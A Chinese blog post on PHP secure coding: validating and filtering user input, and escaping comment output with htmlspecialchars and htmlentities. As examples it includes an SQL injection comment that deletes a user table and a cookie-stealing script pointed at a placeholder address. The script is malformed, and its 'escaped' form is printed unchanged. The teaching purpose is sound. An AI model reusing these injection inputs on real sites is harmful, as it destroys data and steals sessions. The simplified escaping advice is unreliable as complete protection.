在线时间:8:00-16:00
迪恩网络APP
随时随地掌握行业动态
扫描二维码
关注迪恩网络微信公众号
今天的主题是php安全编程需要注意的两个地方:用户输入和内容输出 一、过滤用户输入 在大多数动态网页中,用户都可以提交表单来提交特定的内容,比如注册,评论,聊天等等。 那么在用户将表单提交后,我们后台人员需要注意哪些呢? 1.永远不能相信用户提交的内容 2.在将用户提交内容入库前一定要做验证和过滤。 那么为何我们不能相信用户提交的内容?又有哪些消息信息会对我们造成损害呢?且听我慢慢道来。 例一、当用户使用手机号注册某网站会员时,一般网站会通过js+ajax后台验证手机号合法与否。 这个处理的目的在于确认用户使用有效的手机号注册,因为只有有效的手机号才能为我们所用,让我们和用户有更多的互动,进而提取其中暗含的价值。
例二、恶意评论:有些用户会发送恶意评论,妄图对数据库的内容进行操作,这时如果我们不对用户提交的内容作求过滤的话,可能会给公司带来不可预估的损失。 例如,提交评论时,用户输入 this is a bad comment"; DELETE FROM user; 上面的内容如果不做过滤,而且正好数据库中有user表,且用户有user表的操作权限,那么悲剧就可能发生了,user这张表就会被用户删除;想想都可怕。。。 不过在php中我们只需简单的使用一个函数就可以有效的阻止上述情况的发生。mysqli_real_escape_string(),使用该函数可以有效的转义对数据库操作有影响的字符。 这样就不会对数据库有危害了。
二、转义输出 比如用户的评论内容中有js脚本。这个js可能会在显示评论时执行,这时如果这个脚本有一定的危险操作,那么这将是很危险的。因此我们在输出用户评论时,需要转义评论的内容。 php中有两个函数htmlspecialchars和htmlentities,前者用来转义&,>,<等字符,后者是转义所有html标签,这样在前台显示评论时,脚本就失效了。保证了访问者信息的安全。 例如:<script>this.document = 某个网站地址?+this.cookie</script> 转义后会变成 <script>this.document = 某个网站地址?+this.cookie</script>
以上就是我对php安全编程的一些方法总结,感谢您的阅读 注:因本人的技术有限,如果有理解错误的地方,还请各位批评指正,共同交流学习,谢谢大家。我会继续努力的。
|
2022-08-30
2022-08-17
2022-11-06
2022-08-18
2022-07-29
请发表评论